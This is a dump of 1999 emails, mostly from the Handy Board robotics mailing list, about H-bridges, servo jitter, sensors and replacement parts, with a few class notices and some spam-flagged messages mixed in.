multitasking ( start_process(detect(),100);. In this case how can I find the exact execution time of each subroutine?. Any help would be appreciated. Sincerely Javaid Iqbal ",0,0 Max Davies ,Javaid Iqbal ,"Sun, 11 Apr 1999 07:51:42 -0400",Re: multitasking,"Javaid Iqbal wrote: > I have a simple question regarding multitasking. > I am using two subroutine in a multitasking. > > start_process(ir()); > start_process(detect()); > > Both subroutine should run for 5 ms(default). Consider an example that the > subroutine detect() require more than 5 ms for complete execution. When the > main program runs ir() will be executed for first 5 ms then detect() will > be executed for next 5ms. At the end of first 10 ms ir() will be executed > again for 5ms. Now after 15ms when detect() will be executed, will it be > executed from where it was left or execution will start from the start of > subroutine?. > If it start the execution of subroutine from start every time, do I have to > increase the execution time of multitasking ( start_process(detect(),100);. > In this case how can I find the exact execution time of each subroutine?. > Any help would be appreciated. > > Sincerely > Javaid Iqbal The subroutines continue execution exactly where they left off, making the multitasking transparent to you. You normally shouldn't have to give any thought to how many ms each one gets. If timing is important to you for some reason and the time commands aren't sufficient then it's time to learn assembler. ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","Gary Livick , MAR ERICSON ","Sun, 11 Apr 1999 10:04:38 -0500",Re: Increasing current output to motors on HandyBoard,"Hi, Anyone know where I can purchase a commercial unit that I can operate automobile starter type relays from the COMOS outputs on the handyboard expansion board? only 5 mA per output. Or would it be eaiser to fabricate? I don't want to damage the outputs. Thanks in advance Terry P. Gathright ---------- > From: Gary Livick > To: MAR ERICSON > Cc: K.L.McKinnon ; Chuck McManis ; Ian Nieves ; handyboard@media.mit.edu > Subject: Re: Increasing current output to motors on HandyBoard > Date: Saturday, April 10, 1999 2:17 PM > > Total cost for both, $56.00. Smaller ones are cheaper. Again, the advantage is > convenience, not cost. These pulg right into the motor driver output ports on either > the Handy Board or the Rug Warrior with the L293D left in place, and take no other > components. > > I'm doing R&D for my product line, and cost is not a criteria when I try something. > However, getting 6 amps at 36 volts is pretty cheaply done this way if someone was > building a bot needing this kind of power. For smaller robots, smaller and less > expensive relays could be used, however given the time and knowledge it could be done > for much less using H-Bridges from Allegro or some other source. > > Gary Livick > http://www.lightwaverobotics.com > > > MAR ERICSON wrote: > > > So that's like $28 for the H excluding the protecting circuitry? How much > > did this setup cost for both motors? > > > > ----------- > > ericson mar > > Robotics Consultant > > mar@cooper.edu > > (212)353-4356 > > > > Department of Mechanical Engineering > > The Cooper Union for the Advancement of Science and Art > > ------------------------------------------------------- > >",0,1 Jon Ryan Schuck ,"""handyboard@media.mit.edu"" ","Sun, 11 Apr 1999 13:59:46 -0500",part C3????,"I need a reliable easy source to purchase part C3 online...digikey says it's obsolete and they have no substitute. Can anyone help??? -Jon ",0,0 MSMKatz ,handyboard@media.mit.edu,"Sun, 11 Apr 1999 21:18:12 +0200",Smooth PWM for IC3.2?,"Hi everybody, I have IC3.2 and want to use the smooth PWM functions. I've already adapted my lib_hb.c file. If I use the pcode_hb.s19 file adapted for smooth PWM (downloaded from Fred Martin's site), everything works ok, only I end up with IC2.8! Has anybody modified the IC3.2 version of pcode_hb.s19 for using the smooth PWM functions? Thanks in advance for your help! Marc Katz ",0,0 MSMKatz ,handyboard@media.mit.edu,"Sun, 11 Apr 1999 21:38:32 +0200",HB_IR.C: which ports?,"Hi everybody, I'm experimenting with Kent Farnsworth's program for IR detection (files hb_ir.c and hb2_ir.icb). In Kent's program there is a function ir_counts(integer argument), where the argument can have the value 4, 5, 6 or 7. I've found that value=4 is the on board Sharp detector and value=5 is digital(15). I've found no matching ports for value=6 or 7. Does anybody know how I can assign ports for values 6 and 7 and/or re-assign value=4 to a digital input instead of to the on board detector? Thanks for your help! Marc Katz ",0,0 """K.L.McKinnon"" ","""Terry P. Gathright"" <669@worldnet.att.net>","Sun, 11 Apr 1999 20:03:16 -0400",Re: Increasing current output to motors on HandyBoard,"Actually, if you have been following this thread, there are several ideas that have come up, including the solid state relay (reliable, high current, but SPST, moderate cost ), transistor to up the current(reliable, mded current, low cost, but SPST), mechanical relay (requires driver, mod cost, multiple configurations, reliable to 10's of thousands of cycles.) K.L. McKinnon Terry P. Gathright wrote: > > Hi, > Anyone know where I can purchase a commercial unit that I can operate > automobile starter type relays from the COMOS outputs on the handyboard > expansion board? only 5 mA per output. > Or would it be eaiser to fabricate? I don't want to damage the > outputs. > Thanks in advance > Terry P. Gathright > > ---------- > > From: Gary Livick > > To: MAR ERICSON > > Cc: K.L.McKinnon ; Chuck McManis > ; Ian Nieves ; > handyboard@media.mit.edu > > Subject: Re: Increasing current output to motors on HandyBoard > > Date: Saturday, April 10, 1999 2:17 PM > > > > Total cost for both, $56.00. Smaller ones are cheaper. Again, the > advantage is > > convenience, not cost. These pulg right into the motor driver output > ports on either > > the Handy Board or the Rug Warrior with the L293D left in place, and take > no other > > components. > > > > I'm doing R&D for my product line, and cost is not a criteria when I try > something. > > However, getting 6 amps at 36 volts is pretty cheaply done this way if > someone was > > building a bot needing this kind of power. For smaller robots, smaller > and less > > expensive relays could be used, however given the time and knowledge it > could be done > > for much less using H-Bridges from Allegro or some other source. > > > > Gary Livick > > http://www.lightwaverobotics.com > > > > > > MAR ERICSON wrote: > > > > > So that's like $28 for the H excluding the protecting circuitry? How > much > > > did this setup cost for both motors? > > > > > > ----------- > > > ericson mar > > > Robotics Consultant > > > mar@cooper.edu > > > (212)353-4356 > > > > > > Department of Mechanical Engineering > > > The Cooper Union for the Advancement of Science and Art > > > ------------------------------------------------------- > > >",0,1 Jason ,handyboard@media.mit.edu,"Mon, 12 Apr 1999 08:55:13 +0900",Best love dr@gs at best store," Having troubles maintaining a full erection or one at all? viagra works excellently for your prob1em. [1]Get your confidence back, and have great sex. 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If I use the pcode_hb.s19 file >adapted for smooth PWM (downloaded from Fred Martin's site), everything >works ok, only I end up with IC2.8! > >Has anybody modified the IC3.2 version of pcode_hb.s19 for using the >smooth PWM functions? This problem is the only reason why I'm not buying the commercial version of IC. I'd buy in an heartbeat if *all* the code running on the handy board was available. Until then I stick with the free version. So far I've modified my pcode at least 4 times... -- Eric ",0,0 MAR ERICSON ,Handy Board mailing list ,"Mon, 12 Apr 1999 14:22:31 -0400",Desgning H-bridge,"Where can we get info in designing H-bridges from descreet components? Is it sufficient to use just four MOSFETs or just four solid state relays? Thanks for any input. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Thomas Hauri ,"""Mailing List, Handyboard"" ","Mon, 12 Apr 1999 20:45:59 +0200",Rangingproblems with Sharp GP2D02,"Hi all I just finished rewriting the GP2D02 routines by Kent. Seems all to work just fine....except that I don't get readings below around 55. Even if I don't have anything in front of the sensor (dist. to wall more than 2m) I never get a reading of 0. I don't think I did anything wrong in the software although I had to completely rewrite the sensor reading part because I need to read 8 sensors at the same time. I'll keep checking my software :)) But if anyone also had the problem of not getting readings of more than like 40cm please let me know. Thanks :)))) Tom -- Thomas Hauri ZHW Zuercher Hochschule Winterthur University of applied sciences Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : Thomas.Hauri@zhwin.ch HP : http://www.zhwin.ch ",0,1 Kam Leang ,MAR ERICSON ,"Mon, 12 Apr 1999 12:43:34 -0600",Re: Desgning H-bridge,"Hey Ericson, Check out the following sites for motor control information: http://www.dprg.org/dprg_projects.html http://www.hut.fi/Misc/Electronics/index.html under motor control Hope this helps, good luck! --kam http://www.mech.utah.edu/~kleang On Mon, 12 Apr 1999, MAR ERICSON wrote: -->Where can we get info in designing H-bridges from descreet components? -->Is it sufficient to use just four MOSFETs or just four solid state relays? --> -->Thanks for any input. --> -->----------- -->ericson mar -->Robotics Consultant -->mar@cooper.edu -->(212)353-4356 --> -->Department of Mechanical Engineering -->The Cooper Union for the Advancement of Science and Art -->------------------------------------------------------- --> --> --> ==================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 http://www.mech.utah.edu/~kleang http://www.robotikit.com ==================================================== ",0,1 Schimpfy2@aol.com,"mar@cooper.edu, handyboard@media.mit.edu","Mon, 12 Apr 1999 15:21:18 -0400",Re: Desgning H-bridge,"Another great source for h-bridge design if http://professionals.com/~cmcmanis//robotics/servo.html. It gives details on how to build a PIC based motor controller, but more importantly, it has a great h-bridge schematic. Be sure to check it out. ------------- Brian Schimpf schimpfy2@aol.com ",0,1 wengd@optionshealthcare.com,handyboard@media.mit.edu,"Mon, 12 Apr 1999 15:31:18 -0500",Expansion Board Servo timing...,"How sensitive are the exp bd servo routines to many processes running concurrently. My servo works fine in a stand alone test file but when I include it in my main code it gets the ""nervous shakes"", as if the timing pulse is fluctuating ( I don't have a scope to verify this). The main code starts separate processes for Sharp GP2D02, Photo, Bump, Pyro, User (scans start button) and a Sonar which I disabled. Some of these sensors are located on a servo controlled head. What's up?? Am I just trying to do too much? Can the processes be assigned more or less ""ticks"" to resolve this? Thanks for any suggestions..... -Drew ",0,0 Gary Livick ,Thomas Hauri ,"Mon, 12 Apr 1999 12:40:26 -0700",Re: Rangingproblems with Sharp GP2D02," Thomas Hauri wrote: > Hi all > I just finished rewriting the GP2D02 routines by Kent. > Seems all to work just fine....except that I don't get readings below > around 55. I'm looking at the Sharp data sheet, and they have a chart that shows decimal distance measuring output vs distance to object in centimeters, and they indicate the minimum reading to be around decimal 59 to 64 depending on object reflectivity. That says to me that you will never have a 0 return as long as the sensor is working. Good luck, Gary Livick (and Max) http://www.lightwaverobotics.com > > Thanks :)))) > > Tom > ",0,1 Gary Livick ,wengd@optionshealthcare.com,"Mon, 12 Apr 1999 12:55:39 -0700",Re: Expansion Board Servo timing...,"Drew- I have a Handy Board on a robot that runs three servos and the GP2D02 sensor, and I have the same nervous jitters problem. However, I do not run any processes on this application. I am using IC under v 3.2 of the software, so I could use processes but didn't. Look around on the site at http://www.acroname.com and find ""Scooter Dude"" in the gallery if you want to see what the application is I also have a Rug Warrior board powering a different robot, and it uses a servo to aim a sonar mast. I do see the effects of running processes on that in that the servo jumps from place to place, whereas when running the servo absent any other processes it runs smoothly. BUT it does not ""jitter"" like the Handy Board servos. I haven't dug into it yet, but there is obviously something fundamentally different about the way the Handy Board drives servos compared to the way the Rug Warrior does it. Because this is the case, I am not sure that allocating more run time for the servo process is going to fix it, but it is easy enough to try. After that, an intense study of the implementation technique on the Handy Board is in order. Let me know if you get time to look into that, and I'm sure others will be interested as well. One possible band-aide would be to de-initialize the servos between each finite change in their command state. That stops them from jittering because they are powered down. Gary Livick http://www.lightwaverobotics.com wengd@optionshealthcare.com wrote: > How sensitive are the exp bd servo routines to many processes running > concurrently. My servo works fine in a stand alone test file but when I > include it in my main code it gets the ""nervous shakes"", as if the timing > pulse is fluctuating ( I don't have a scope to verify this). The main code > starts separate processes for Sharp GP2D02, Photo, Bump, Pyro, User > (scans start button) and a Sonar which I disabled. Some of these > sensors are located on a servo controlled head. What's up?? Am I just > trying to do too much? Can the processes be assigned more or less > ""ticks"" to resolve this? Thanks for any suggestions..... > -Drew ",0,1 Chen Yung Hsu ,handyboard@media.mit.edu,"Mon, 12 Apr 1999 16:32:55 -0400",Re: H-bridge,"I am currently in search of H-bridges (DC motor drivers) I tried visiting wirz electronics but they aren't in business right now. does anyone know of any other places i can check out? =) thanx Chen ",0,0 Olivier Gaillard ,Handyboard List ,"Thu, 18 Mar 1999 23:09:11 +0100",Unsubscribe,"Unsubscribe Handyboard List ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Mon, 12 Apr 1999 17:38:21 -0400",Re: Desgning H-bridge,"At 02:22 PM 4/12/99 -0400, MAR ERICSON wrote: >Where can we get info in designing H-bridges from descreet components? >Is it sufficient to use just four MOSFETs or just four solid state relays? Kam has a design at: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/software/contrib /kleang/mtrdrv.txt ",0,1 Duncan Orthner ,handyboard@media.mit.edu,"Mon, 12 Apr 1999 17:56:36 -0400",Re: Expansion Board Servo timing...,"At 03:31 PM 4/12/99 -0500, wengd@optionshealthcare.com wrote: >How sensitive are the exp bd servo routines to many processes running >concurrently. My servo works fine in a stand alone test file but when I >include it in my main code it gets the ""nervous shakes"", as if the timing >pulse is fluctuating ( I don't have a scope to verify this). I don't know about the servo routines on the HB, but servos *do* start to jitter when the pulses get much below about 20Hz. This is not due to the pulse width 'fluctuating', it's because the refresh rate is dropping. It certainly is possible that the refresh rate drops as the load on the 6811 increases. Perhaps servo control could be offloaded onto a PIC ala. Scott Edwards SSC (serial servo controller) at: http://www.seetron.com If you have a PIC programmer (or a BASIC stamp) it's pretty trivial to program one to accept serial commands and output the pulses to a few servos. Scott's is nice because it can handle eight servos and there is *no* jitter. Hope this helps, Duncan ",0,1 Kwin Hultman Kramer ,play99@media.mit.edu,"Mon, 12 Apr 1999 18:24:34 -0400",Turkle/Papert and Shotwell/Wolf/Gardner,"Hi, If you haven't yet picked up the readings for class tomorrow, you can find them in the Cube, against the wall outside Mitchel's office, in the top three shelves of the little blue papers rack. They are: ---- Turkle and Papert. ""Epistemological Pluralism and the Revaluation of the Concrete."" Journal of Mathematical Behavior 11, 3-33 (1992). Shotwell, Wolf and Gardner. ""Exploring Early Symbolization: Styles of Achevement"" in _Play and Learning_, ed. Sutton-Smith. (1979) ---- These two articles will serve as a foundation for discussing individual differences in modes of play and learning. Please come equipped with your own nostalgic memories of stylistically-polarized childhood play, for the rest of us to mercilessly deconstruct. Kwin ",0,0 rmtmd ,"Gary Livick , wengd@optionshealthcare.com","Mon, 12 Apr 1999 15:33:59 -0700",Re: Expansion Board Servo timing...,"How do you ""de-initialize"" a sevo? I am only familiar with the init_expbd_servos(x) command and with reassigning the servo(x) global variable to effect servo repositioning. Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX Gary Livick >Drew- > >I have a Handy Board on a robot that runs three servos and the GP2D02 sensor, >and I have the same nervous jitters problem. However, I do not run any >processes on this application. I am using IC under v 3.2 of the software, so >I could use processes but didn't. Look around on the site at >http://www.acroname.com and find ""Scooter Dude"" in the gallery if you want to >see what the application is > >I also have a Rug Warrior board powering a different robot, and it uses a >servo to aim a sonar mast. I do see the effects of running processes on that >in that the servo jumps from place to place, whereas when running the servo >absent any other processes it runs smoothly. BUT it does not ""jitter"" like >the Handy Board servos. > >I haven't dug into it yet, but there is obviously something fundamentally >different about the way the Handy Board drives servos compared to the way the >Rug Warrior does it. Because this is the case, I am not sure that allocating >more run time for the servo process is going to fix it, but it is easy enough >to try. After that, an intense study of the implementation technique on the >Handy Board is in order. Let me know if you get time to look into that, and >I'm sure others will be interested as well. One possible band-aide would be >to de-initialize the servos between each finite change in their command >state. That stops them from jittering because they are powered down. > >Gary Livick >http://www.lightwaverobotics.com > > > >wengd@optionshealthcare.com wrote: > >> How sensitive are the exp bd servo routines to many processes running >> concurrently. My servo works fine in a stand alone test file but when I >> include it in my main code it gets the ""nervous shakes"", as if the timing >> pulse is fluctuating ( I don't have a scope to verify this). The main code >> starts separate processes for Sharp GP2D02, Photo, Bump, Pyro, User >> (scans start button) and a Sonar which I disabled. Some of these >> sensors are located on a servo controlled head. What's up?? Am I just >> trying to do too much? Can the processes be assigned more or less >> ""ticks"" to resolve this? Thanks for any suggestions..... >> -Drew > > RMT ",0,1 Kam Leang ,Duncan Orthner ,"Mon, 12 Apr 1999 17:14:02 -0600",Re: Desgning H-bridge,"The motor driver circuit is a bipolar push-pull current amplifier. It's really cheap, easy to build and works well with the Tamiya motor/gearbox kits available from http://www.robotstore.com or http://scientifics.edsci.com/ I'm sure it has its limitations, but works for small robot projects. If interested, I have a few robots posted on my site that uses the motor driver circuit. In addition, there are 16 robots that use the circuit in a Mechatronics robot hockey class project that I help teach. If anyone has any changes or anything to add to the idea, please let me know. Good luck. --kam http://www.mech.utah.edu/~kleang On Mon, 12 Apr 1999, Duncan Orthner wrote: -->At 02:22 PM 4/12/99 -0400, MAR ERICSON wrote: --> -->>Where can we get info in designing H-bridges from descreet components? -->>Is it sufficient to use just four MOSFETs or just four solid state relays? --> --> Kam has a design at: --> -->http://lcs.www.media.mit.edu/groups/el/projects/handy-board/software/contrib -->/kleang/mtrdrv.txt --> ==================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 http://www.mech.utah.edu/~kleang http://www.robotikit.com ==================================================== ",0,1 Gary Livick ,"rmtmd , ""handyboard@media.mit.edu"" ","Mon, 12 Apr 1999 16:27:50 -0700",Re: Expansion Board Servo timing...,"Hi Doc, The function call ""init_expbd_servos(0);"" turns them off, ""init_expbd_servos(1);"" turns them on. Something like ""servo5=2300;"" commands a servo to a position, but only if the servos are initialized as per above. Maybe I used a confusing term when I said de-initialize. Now, let me get this straight.... Medical Director? Maybe I can work with you on a robot that will remove any undifferentiated glial cells from in vitro cultures once we figure out how to get pluripotent stem cells to differentiate in this way. The pluripotent cells are tumorgenic, as you know, so we have to be careful to get 'em all differentiated, or get them out of the culture before inplant into the substantia nigra. What do you think? Or, maybe I just stick with picking up Coke cans :-) Best regards, Gary Livick rmtmd wrote: > How do you ""de-initialize"" a sevo? I am only familiar with the > init_expbd_servos(x) command and with reassigning the servo(x) global > variable to effect servo repositioning. > > Ross M. Tonkens, M.D. > Medical Director > Primary Care of Nevada > 100 North Green Valley Parkway > Suite 240 > Henderson, NV 89014 > > 702 914-7120 VOICE > 702 914-7129 FAX > > Gary Livick > > >Drew- > > > >I have a Handy Board on a robot that runs three servos and the GP2D02 sensor, > >and I have the same nervous jitters problem. However, I do not run any > >processes on this application. I am using IC under v 3.2 of the software, so > >I could use processes but didn't. Look around on the site at > >http://www.acroname.com and find ""Scooter Dude"" in the gallery if you want to > >see what the application is > > > >I also have a Rug Warrior board powering a different robot, and it uses a > >servo to aim a sonar mast. I do see the effects of running processes on that > >in that the servo jumps from place to place, whereas when running the servo > >absent any other processes it runs smoothly. BUT it does not ""jitter"" like > >the Handy Board servos. > > > >I haven't dug into it yet, but there is obviously something fundamentally > >different about the way the Handy Board drives servos compared to the way the > >Rug Warrior does it. Because this is the case, I am not sure that allocating > >more run time for the servo process is going to fix it, but it is easy enough > >to try. After that, an intense study of the implementation technique on the > >Handy Board is in order. Let me know if you get time to look into that, and > >I'm sure others will be interested as well. One possible band-aide would be > >to de-initialize the servos between each finite change in their command > >state. That stops them from jittering because they are powered down. > > > >Gary Livick > >http://www.lightwaverobotics.com > > > > > > > >wengd@optionshealthcare.com wrote: > > > >> How sensitive are the exp bd servo routines to many processes running > >> concurrently. My servo works fine in a stand alone test file but when I > >> include it in my main code it gets the ""nervous shakes"", as if the timing > >> pulse is fluctuating ( I don't have a scope to verify this). The main code > >> starts separate processes for Sharp GP2D02, Photo, Bump, Pyro, User > >> (scans start button) and a Sonar which I disabled. Some of these > >> sensors are located on a servo controlled head. What's up?? Am I just > >> trying to do too much? Can the processes be assigned more or less > >> ""ticks"" to resolve this? Thanks for any suggestions..... > >> -Drew > > > > > > RMT ",0,1 Manuela ,karin@aleve.media.mit.edu,"Mon, 12 Apr 1999 15:04:18 -0500",Spears admires you nxtoupper," Jean sharing late news http://sonlinefc.com >>> 070629 past adiograf ehnungs >>> sbestos opthdr exoskeleton whether or not arents ",1,1 Calvin Mccray ,handyboard@media.mit.edu,"Mon, 12 Apr 1999 13:39:49 -0700",Young beautiful Girl Porrn fair Videeo!," Russiian alluring Woman here doing bonnie blowjobb. http://kidsmusicplay.info/lzsolos.htm?iSPhfd.fX,hj REM0\\\\/E http://kidsmusicplay.info ",1,1 Michael Hawley ,play99@amt.media.mit.edu,"Mon, 12 Apr 1999 21:40:05 -0400",April 20,"All, Apparently the MIT calendar has nipped us yet again: April 20 is technically the ""day after Patriot's Day"" holiday. We'd like to have class anyway. More than that, Reiner Knizia, game designer, will be here to speak on his products and methods from 4-5. Please make a note of it. thanks, Mike ",0,0 rmtmd ,"Gary Livick , ""handyboard@media.mit.edu"" ","Mon, 12 Apr 1999 19:12:25 -0700",Re: Servo DEinitialization.,"I'd go for the Coke can idea. Sounds like a surer shot. I thought init_expbd_servos(x), where x = integer from 0 to 5, was used to initialize the servos individually. Stupid me. I've been using init_expbd_servos(5), and, since I only had #5 hooked up, and it centered, I propagated my own misconception. So you are saying that only 0 and 1 are valid arguments for the init_expbd_servos() funcion? Ross Tonkens Gary Livick >Hi Doc, > >The function call ""init_expbd_servos(0);"" turns them off, >""init_expbd_servos(1);"" >turns them on. Something like ""servo5=2300;"" commands a servo to a >position, but >only if the servos are initialized as per above. Maybe I used a confusing >term >when I said de-initialize. > >Now, let me get this straight.... Medical Director? Maybe I can work >with you >on a robot that will remove any undifferentiated glial cells from in vitro >cultures once we figure out how to get pluripotent stem cells to >differentiate in >this way. The pluripotent cells are tumorgenic, as you know, so we have >to be >careful to get 'em all differentiated, or get them out of the culture before >inplant into the substantia nigra. What do you think? > >Or, maybe I just stick with picking up Coke cans :-) > >Best regards, > >Gary Livick > > > > >rmtmd wrote: > >> How do you ""de-initialize"" a sevo? I am only familiar with the >> init_expbd_servos(x) command and with reassigning the servo(x) global >> variable to effect servo repositioning. >> >> Ross M. Tonkens, M.D. >> Medical Director >> Primary Care of Nevada >> 100 North Green Valley Parkway >> Suite 240 >> Henderson, NV 89014 >> >> 702 914-7120 VOICE >> 702 914-7129 FAX >> >> Gary Livick >> >> >Drew- >> > >> >I have a Handy Board on a robot that runs three servos and the GP2D02 >sensor, >> >and I have the same nervous jitters problem. However, I do not run any >> >processes on this application. I am using IC under v 3.2 of the software, >so >> >I could use processes but didn't. Look around on the site at >> >http://www.acroname.com and find ""Scooter Dude"" in the gallery if you want >to >> >see what the application is >> > >> >I also have a Rug Warrior board powering a different robot, and it uses a >> >servo to aim a sonar mast. I do see the effects of running processes on >that >> >in that the servo jumps from place to place, whereas when running the servo >> >absent any other processes it runs smoothly. BUT it does not ""jitter"" like >> >the Handy Board servos. >> > >> >I haven't dug into it yet, but there is obviously something fundamentally >> >different about the way the Handy Board drives servos compared to the way >the >> >Rug Warrior does it. Because this is the case, I am not sure that >allocating >> >more run time for the servo process is going to fix it, but it is easy >enough >> >to try. After that, an intense study of the implementation technique on the >> >Handy Board is in order. Let me know if you get time to look into that, and >> >I'm sure others will be interested as well. One possible band-aide would be >> >to de-initialize the servos between each finite change in their command >> >state. That stops them from jittering because they are powered down. >> > >> >Gary Livick >> >http://www.lightwaverobotics.com >> > >> > >> > >> >wengd@optionshealthcare.com wrote: >> > >> >> How sensitive are the exp bd servo routines to many processes running >> >> concurrently. My servo works fine in a stand alone test file but when I >> >> include it in my main code it gets the ""nervous shakes"", as if the timing >> >> pulse is fluctuating ( I don't have a scope to verify this). The main >code >> >> starts separate processes for Sharp GP2D02, Photo, Bump, Pyro, User >> >> (scans start button) and a Sonar which I disabled. Some of these >> >> sensors are located on a servo controlled head. What's up?? Am I just >> >> trying to do too much? Can the processes be assigned more or less >> >> ""ticks"" to resolve this? Thanks for any suggestions..... >> >> -Drew >> > >> > >> >> RMT > > > > > ",0,1 """Fred G. Martin"" ","rmtmd , ""handyboard@media.mit.edu"" ","Mon, 12 Apr 1999 22:45:40 -0400",Re: Servo DEinitialization.," >So you are saying that only >0 and 1 are valid arguments for the init_expbd_servos() funcion? as it says in the docs: init_expbd_servos(int action) If action is zero, servo control signals are disabled. If action is non-zero, servo control signals are enabled. Control signals are disabled by default every time the Handy Board is reset. so in other words, yes. fred ",0,0 rmtmd ,"""handyboard@media.mit.edu"" ","Mon, 12 Apr 1999 20:37:51 -0700",Re: Servo DEinitialization.,"Sorry. I'll reread the documentation. I was going by memory. Fred G. Martin Fred G. Martin > > >>So you are saying that only >>0 and 1 are valid arguments for the init_expbd_servos() funcion? > >as it says in the docs: > > init_expbd_servos(int action) > If action is zero, servo control signals are disabled. > If action is non-zero, servo control signals are enabled. > Control signals are disabled by default every time the Handy Board is >reset. > >so in other words, yes. > >fred > > > Ross Tonkens ",0,0 """Dr. Peter Borrmann"" ",handyboard@media.mit.edu,"Tue, 13 Apr 1999 09:01:42 +0200",Has anyone an icb-routine for 9600b serial connection ?,"Hi, i used the serialio.c routines to establish a data connection between the Handyboard and a Linux PC and encountered the same problems already mentioned in the mailing list: 1) Only char by char transmission with sleeps between transmissions worked reliable. 2) The max baud-rate was about 1600 or (200 chars/per second) It seems that the serialio.c routines serial_getchar() and serial_putchar() are too slow. Looking through the mailing list i didn't find a solution to increase the baud rate. Has anyone written an icb-routine for serial communication ? I'am really a little bit frustrated, since i worked hard to establish an external vision system (Pal-video camera, Hauppauge WinTV + LinuxPC), which traces up to six objects with 30 fps. Now this is ready, but i can't transmit the data to the Handyboard at this rate (i have to slow down to 10 fps). Thanks, Peter ",0,0 Aleesha Manchester ,handyboard@media.mit.edu,"Mon, 12 Apr 1999 21:11:39 -0700",Re: your ViALtUM,"Hi P X V V C L A r a I A I e m o n A L A v b z a G I L i i a x R U I t e c A M S ra n http://www.gepafilonol.com forgotten; nor do the goblins seem to have noticed it, as he wore it inside his breeches. Now he drew it out. It shone pale and dim before his eyes. So it is an elvish blade, too, he thought; and goblins are not very near, and yet not far enough. But somehow he was comforted. It was rather splendid to be wearing a ",1,1 Jon Ryan Schuck ,"""handyboard@media.mit.edu"" ","Tue, 13 Apr 1999 07:31:13 -0500",help about part C3,"Can anyone tell me of a good place to get part C3 for the handy board?...DigiKey no longer has it or a replacement. -Jon Schuck ",0,0 """Fred G. Martin"" ","Jon Ryan Schuck , ""handyboard@media.mit.edu"" ","Tue, 13 Apr 1999 09:51:17 -0400",Re: help about part C3,"use Digikey P6305-ND or P5417-ND. both are 470 uF electrolytics, axial leads (that is, leads sticking out opposite ends) and are 16 mm long and 8 mm in diameter. in other words, they're the right value and they'll fit. F. >Can anyone tell me of a good place to get part C3 for the handy >board?...DigiKey no longer has it or a replacement. > >-Jon Schuck > > ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Tue, 13 Apr 1999 10:05:29 -0400",Fwd: Re: help about part C3,"replying to my own msg... >use Digikey P6305-ND or P5417-ND. both are 470 uF electrolytics, axial leads (that is, >leads sticking out opposite ends) and are 16 mm long and 8 mm in diameter. in other words, >they're the right value and they'll fit. ok, so P6305-ND is the part i originally specified. sure enough, you can't find it online. but i found it in the latest print digikey catalog! (i didn't check that it was the same until after i sent my msg.) now, P5417-ND (also in the latest catalog) doesn't come up either. so i got on the phone and talked to digikey. they're discontinuing the Panasonic brand caps and replacing them with Philips. These are on pages 281-284 of the Apr-Jun 99 catalog. a suitable replacement for the part in question from the Philips line is 4000PHCT-ND this should be a superior part to the Panasonic -- it's smaller and cheaper with the same electrical specs. F. >Can anyone tell me of a good place to get part C3 for the handy >board?...DigiKey no longer has it or a replacement. > >-Jon Schuck > > ",0,0 ravia@dd254.comm.mot.com,handyboard@media.mit.edu,"Tue, 13 Apr 1999 09:13:14 -0500",U12 on the Handy board.,"Hi- I am not able to find DS-1233-10 (U12) for the handy board. If anybody knows where I could get it or even a good replacement for it, please inform me. Thanks, Ravi. ",0,0 MAR ERICSON ,"""Fred G. Martin"" ","Tue, 13 Apr 1999 10:27:56 -0400",Re: help about part C3,"Does it have to be these parts? Can you put a few together or even use ceramic, polyester, etc? ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 13 Apr 1999, Fred G. Martin wrote: > use Digikey P6305-ND or P5417-ND. both are 470 uF electrolytics, axial > leads (that is, leads sticking out opposite ends) and are 16 mm long and > 8 mm in diameter. in other words, they're the right value and they'll > fit. > > F. > > >Can anyone tell me of a good place to get part C3 for the handy > >board?...DigiKey no longer has it or a replacement. > > > >-Jon Schuck > > > > > ",0,0 wengd@optionshealthcare.com,handyboard@media.mit.edu,"Tue, 13 Apr 1999 11:30:27 -0500",More servo jitters...,"As a follow up to my nervous servo, it gets the shakes even when running as a single process. Ok, I confess... I recharged it on ZAP and fell asleep... Is it possible that either the servo or the HB was damaged by this in such a way as to give it a nervous tick??? Everything else seems to function okay... -Drew ",0,0 Kam Leang ,"""Ravi Madhav K. Adatrao"" ","Tue, 13 Apr 1999 10:43:43 -0600",Re: U12 on the Handy board.,"You can order the part directly from Dallas Semiconductors at http://www.dalsemi.com/Sales/credit_card.html I ordered 10 last week for about $1.40/each (I think). --kam http://www.mech.utah.edu/~kleang On Tue, 13 Apr 1999, Ravi Madhav K. Adatrao wrote: -->Hi- --> --> I am not able to find DS-1233-10 (U12) for the handy board. If anybody knows --> where I could get it or even a good replacement for it, please inform me. --> -->Thanks, -->Ravi. --> ==================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 http://www.mech.utah.edu/~kleang http://www.robotikit.com ==================================================== ",0,1 Matt Austin ,Handy Board Mailing List ,"Tue, 13 Apr 1999 21:41:57 +0100",Re: U12 on the Handyboard,"If you're prepared to order from the Uk, you can get it from www.Farnell.com It's a couple of quid. Matt -----Original Message----- From: Ravi Madhav K. Adatrao To: handyboard@media.mit.edu Cc: ravia@dd254.comm.mot.com Date: 13 April 1999 13:59 Subject: U12 on the Handy board. >Hi- > > I am not able to find DS-1233-10 (U12) for the handy board. If anybody knows > where I could get it or even a good replacement for it, please inform me. > >Thanks, >Ravi. >",0,0 Yonatan Mittlefehldt ,handyboard@media.mit.edu,"Tue, 13 Apr 1999 16:47:52 -0400",Converting .ASM to .ICB,"Hi, this is kind of urgent, but i need to know how compile (is this the write word of it?) an ASM file into an ICB file. Any help would be appreciated. Please note that I am working on a Mac platform but I normally do not use Macs. Thanks in advance. Yono ",0,0 �� ���� 